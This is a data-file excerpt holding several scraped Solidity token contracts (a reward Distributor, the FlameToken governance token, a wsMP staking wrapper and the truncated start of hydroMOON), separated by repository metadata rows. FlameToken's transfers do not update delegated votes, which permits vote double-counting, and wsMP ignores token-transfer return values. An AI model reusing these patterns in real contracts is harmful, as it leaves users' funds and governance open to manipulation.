return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable DREX;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _drex, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_drex != address(0));
DREX = _drex;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(DREX).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 97,717 | 13,944 |
bad284d8cbe2b86729c951e4113cc6382334df9640afdd28530ba637be94c6f8
| 38,079 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/55/5558ceb0f4b28b3bfd32546f2c0ac1c1ac1acde1_FlameToken.sol
| 4,852 | 19,092 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// FlameToken with Governance.
contract FlameToken is BEP20('Flame Token', 'FLAME') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "FLAME::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "FLAME::delegateBySig: invalid nonce");
require(now <= expiry, "FLAME::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "FLAME::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying FLAMEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "FLAME::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 128,779 | 13,945 |
1dbf4351639b2e76a1649063d9e361bd433f3b64eb8bf78cb910e40613a2c6ea
| 30,295 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/73/7316004559a1218c74BfA5a354649b48e94ca631_wsMP.sol
| 3,206 | 12,558 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory __name, string memory __symbol) {
_name = __name;
_symbol = __symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IsMP {
function index() external view returns (uint);
}
contract wsMP is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable sMP;
constructor(address _sMP) ERC20('Wrapped sMP', 'wsMP') {
require(_sMP != address(0));
sMP = _sMP;
}
function wrap(uint _amount) external returns (uint) {
IERC20(sMP).transferFrom(msg.sender, address(this), _amount);
uint value = sMPTowsMP(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wsMPTosMP(_amount);
IERC20(sMP).transfer(msg.sender, value);
return value;
}
function wsMPTosMP(uint _amount) public view returns (uint) {
return _amount.mul(IsMP(sMP).index()).div(10 ** decimals());
}
function sMPTowsMP(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IsMP(sMP).index());
}
}
| 329,280 | 13,946 |
09ec68d1736c26bcdf71b3a5d4823a6c68d1fb523934ec68f3b3b5e54a7abfc5
| 14,018 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/13/13efbd49f70f7aed5a9008c66443e080c6ae7322_hydroMOON.sol
| 3,200 | 12,335 |
///SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
mapping(address => bool) private _intAddr;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
_intAddr[_owner] = true;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
